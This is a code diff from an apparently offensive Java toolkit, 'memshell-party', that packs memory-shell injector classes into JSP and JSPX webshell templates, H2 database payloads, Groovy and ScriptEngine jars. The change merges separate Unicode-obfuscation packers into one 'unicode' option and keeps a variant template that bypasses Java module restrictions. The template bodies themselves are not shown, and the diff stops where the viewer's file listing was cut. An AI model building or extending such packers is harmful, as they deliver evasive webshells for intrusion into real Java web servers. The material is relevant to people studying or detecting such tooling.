public String pack(ClassPackerConfig classPackerConfig) {
return Packers.GroovyClassDefiner.getInstance().pack(classPackerConfig);
}
}
@@ -1,11 +1,16 @@
package com.reajason.javaweb.packer.h2;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2025/6/28
*/
public class H2Packer implements AggregatePacker {
public class H2Packer implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
return Packers.H2Javac.getInstance().pack(classPackerConfig);
}
}
@@ -24,7 +24,8 @@ public class DefaultJarPacker implements JarPacker {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
for (Map.Entry<String, byte[]> entry : jarPackerConfig.getClassBytes().entrySet()) {
Map<String, byte[]> classBytes = ((Map<String, byte[]>) jarPackerConfig.getClassBytes());
for (Map.Entry<String, byte[]> entry : classBytes.entrySet()) {
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
targetJar.write(entry.getValue());
targetJar.closeEntry();
@@ -8,6 +8,7 @@ import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
@@ -21,7 +22,7 @@ public class GroovyTransformJarPacker implements JarPacker {
@SneakyThrows
public byte[] packBytes(JarPackerConfig config) {
String mainClassName = config.getMainClassName();
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
byte[] mainClassBytes = ((Map<String, byte[]>) config.getClassBytes()).get(mainClassName);
mainClassBytes = ClassInterfaceUtils.addInterface(mainClassBytes, "org.codehaus.groovy.transform.ASTTransformation");
mainClassBytes = ClassAnnotationUtils.setAnnotation(mainClassBytes, "org.codehaus.groovy.transform.GroovyASTTransformation");
@@ -7,6 +7,7 @@ import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
@@ -21,7 +22,7 @@ public class ScriptEngineJarPacker implements JarPacker {
@SneakyThrows
public byte[] packBytes(JarPackerConfig config) {
String mainClassName = config.getMainClassName();
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
byte[] mainClassBytes = ((Map<String, byte[]>) config.getClassBytes()).get(mainClassName);
byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory");
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
@@ -3,20 +3,31 @@ package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import com.reajason.javaweb.packer.spec.PackerSchema;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class ClassLoaderJspPacker implements Packer {
public class ClassLoaderJspPacker implements Packer<JspCustomPackerConfig> {
private final String jspTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jsp");
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jspTemplate.replace("{{className}}", config.getClassName())
public String pack(ClassPackerConfig<JspCustomPackerConfig> config) {
String content = jspTemplate.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
JspCustomPackerConfig customConfig = config.getCustomConfig();
if (customConfig != null && customConfig.isUnicode()) {
return JspUnicoder.encode(content, true);
}
return content;
}
@Override
public PackerSchema schema() {
return JspCustomPackerConfig.schema();
}
}
@@ -1,12 +0,0 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
public class ClassLoaderJspUnicodePacker implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
return JspUnicoder.encode(Packers.ClassLoaderJSP.getInstance().pack(classPackerConfig), true);
}
}
@@ -3,27 +3,38 @@ package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import com.reajason.javaweb.packer.spec.PackerSchema;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class DefineClassJspPacker implements Packer {
public class DefineClassJspPacker implements Packer<JspCustomPackerConfig> {
private final String template = Util.loadTemplateFromResource("/memshell-party/shell1.jsp");
private final String bypassTemplate = Util.loadTemplateFromResource("/memshell-party/shell2.jsp");
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
public String pack(ClassPackerConfig<JspCustomPackerConfig> config) {
String injectorBytesBase64Str = config.getClassBytesBase64Str();
String injectorClassName = config.getClassName();
String template = this.template;
if (config.isByPassJavaModule()) {
template = bypassTemplate;
}
return template.replace("{{className}}", injectorClassName)
String content = template.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str);
JspCustomPackerConfig customConfig = config.getCustomConfig();
if (customConfig != null && customConfig.isUnicode()) {
return JspUnicoder.encode(content, true);
}
return content;
}
}
@Override
public PackerSchema schema() {
return JspCustomPackerConfig.schema();
}
}
@@ -1,20 +0,0 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.Util;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class DefineClassJspUnicodePacker implements Packer {
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return JspUnicoder.encode(Packers.DefineClassJSP.getInstance().pack(config), true);
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.spec.PackerFieldSchema;
import com.reajason.javaweb.packer.spec.PackerFieldType;
import com.reajason.javaweb.packer.spec.PackerSchema;
import lombok.Data;
/**
* @author ReaJason
* @since 2026/2/26
*/
@Data
public class JspCustomPackerConfig {
private boolean unicode;
public static PackerSchema schema() {
PackerFieldSchema unicodeField = new PackerFieldSchema();
unicodeField.setKey("unicode");
unicodeField.setType(PackerFieldType.BOOLEAN);
unicodeField.setRequired(false);
unicodeField.setDefaultValue(false);
unicodeField.setDescription("Enable Unicode encoding");
unicodeField.setDescriptionI18nKey("unicodeEncoded.desc");
PackerSchema schema = new PackerSchema();
schema.getFields().add(unicodeField);
schema.getDefaultConfig().put("unicode", false);
return schema;
}
}
@@ -1,10 +1,16 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.AggregatePacker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements AggregatePacker {
}
public class JspPacker implements Packer<JspCustomPackerConfig> {
@Override
public String pack(ClassPackerConfig<JspCustomPackerConfig> classPackerConfig) {
return Packers.ClassLoaderJSP.getInstance().pack(classPackerConfig);
}
}
@@ -3,20 +3,31 @@ package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Util;
import com.reajason.javaweb.packer.spec.PackerSchema;
import lombok.SneakyThrows;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspxPacker implements Packer {
public class JspxPacker implements Packer<JspCustomPackerConfig> {
private final String jspxTemplate = Util.loadTemplateFromResource("/memshell-party/shell.jspx");
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jspxTemplate.replace("{{className}}", config.getClassName())
public String pack(ClassPackerConfig<JspCustomPackerConfig> config) {
String content = jspxTemplate.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
JspCustomPackerConfig customConfig = config.getCustomConfig();
if (customConfig != null && customConfig.isUnicode()) {
return JspUnicoder.encode(content, false);
}
return content;
}
}
@Override
public PackerSchema schema() {
return JspCustomPackerConfig.schema();
}
}
@@ -1,13 +0,0 @@
package com.reajason.javaweb.packer.jsp;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
public class JspxUnicodePacker implements Packer {
@Override
public String pack(ClassPackerConfig classPackerConfig) {
String content = Packers.JSPX.getInstance().pack(classPackerConfig);
return JspUnicoder.encode(content, false);
}
}

Some files were not shown because too many files have changed in this diff Show More